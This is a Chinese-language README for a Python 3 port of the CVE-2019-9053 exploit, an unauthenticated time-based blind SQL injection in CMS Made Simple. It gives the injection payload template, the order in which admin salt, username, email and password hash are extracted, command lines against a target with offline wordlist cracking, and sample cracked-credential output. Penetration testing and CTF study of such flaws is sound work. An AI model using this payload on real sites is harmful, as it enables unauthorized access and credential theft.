免责声明: 本工具仅供授权的渗透测试和教育目的使用。未经明确书面许可,针对系统运行本工具属于违法行为。作者对误用行为不承担任何责任。
这是对 CVE-2019-9053 公开漏洞利用程序的 Python 3 移植版本 — 该漏洞是 CMS Made Simple ≤ 2.2.9 中一个无需身份验证的 时间型盲 SQL 注入 漏洞。
受影响的参数为 /moduleinterface.php 端点(新闻模块)上的 m1_idlist。用户输入未经清理直接传入 SQL 查询,使未认证的攻击者能够提取管理员盐值、用户名、邮箱和密码哈希,并可选地离线破解密码。
原漏洞利用程序由 Daniele Scanu @ Certimeter Group 编写。
Python 3 移植版本包含修复和清理。
该漏洞利用程序使用 时间盲注 方法 —— 将 SELECT sleep(T) 注入到 SQL 的 LIKE 条件中,并测量 HTTP 响应时间。如果服务器停顿 ≥ T 秒,则注入的条件为真。这使得可以在 每次一个字符 地提取数据,而无需任何数据出现在 HTTP 响应正文中。
有效载荷结构:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(已知前缀+猜测)}25
+and+user_id+like+0x31)+--+
提取顺序:
| 步骤 | 字段 | 表 | 说明 |
|---|---|---|---|
| 1 | 盐值 | cms_siteprefs | 破解密码所必需 |
| 2 | 用户名 | cms_users | user_id = 1(管理员) |
| 3 | 邮箱 | cms_users | user_id = 1(管理员) |
| 4 | 密码 | cms_users | 存储为 MD5(盐值 + 密码) |
提取后,可选的 离线字典攻击 针对单词列表计算 MD5(盐值 + 单词) — 无需额外的网络请求。
原脚本是为 Python 2 编写的。以下是已修复的重大更改:
| # | 更改 | 原因 |
|---|---|---|
| 1 | print "..." → print("...") | Python 3 中 print 是函数 |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | Python 3 中 hashlib.md5() 需要 bytes 类型 |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict 遮蔽了内置函数;改用上下文管理器 |
| 4 | print "\033c" → print("\033c", end="") | 避免终端清除时出现多余换行 |
| 5 | print colored(...) → print(colored(...)) | colored() 返回字符串,需要用 print() 包装 |
pip3 install requests termcolor
| 依赖 | 用途 |
|---|---|
requests | 对目标发起 HTTP 请求 |
termcolor | 彩色终端输出 |
# 基础提取(不进行密码破解)
python3 exploit.py -u http://<目标IP>/simple
# 提取 + 离线密码破解
python3 exploit.py -u http://<目标IP>/simple --crack -w /usr/share/wordlists/rockyou.txt
| 标志 | 描述 |
|---|---|
-u, --url | CMS Made Simple 安装的根 URL |
-w, --wordlist | 用于离线密码破解的字典文件路径 |
-c, --crack | 启用密码破解模式 |
[+] 找到密码盐值:1234abcd
[+] 找到用户名:admin
[+] 找到邮箱:[email protected]
[+] 找到密码:a1b2c3d4e5f6...
[+] 密码已破解:password123
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2019-9053 |
| CVSS 分值 | 7.5(高危) |
| 类型 | 未认证的时间型盲 SQL 注入 |
| 受影响版本 | CMS Made Simple ≤ 2.2.9 |
| 参数 | 新闻模块中的 m1_idlist |
| 是否需要认证 | 无 |
| 补丁 | CMS Made Simple 2.2.10+ |
本漏洞利用程序仅供 授权的渗透测试和 CTF/教育用途。
在未拥有或未获得明确书面许可的系统上未经授权使用本程序,违反《信息技术法案》(印度)及全球范围内的类似法律,属于刑事犯罪。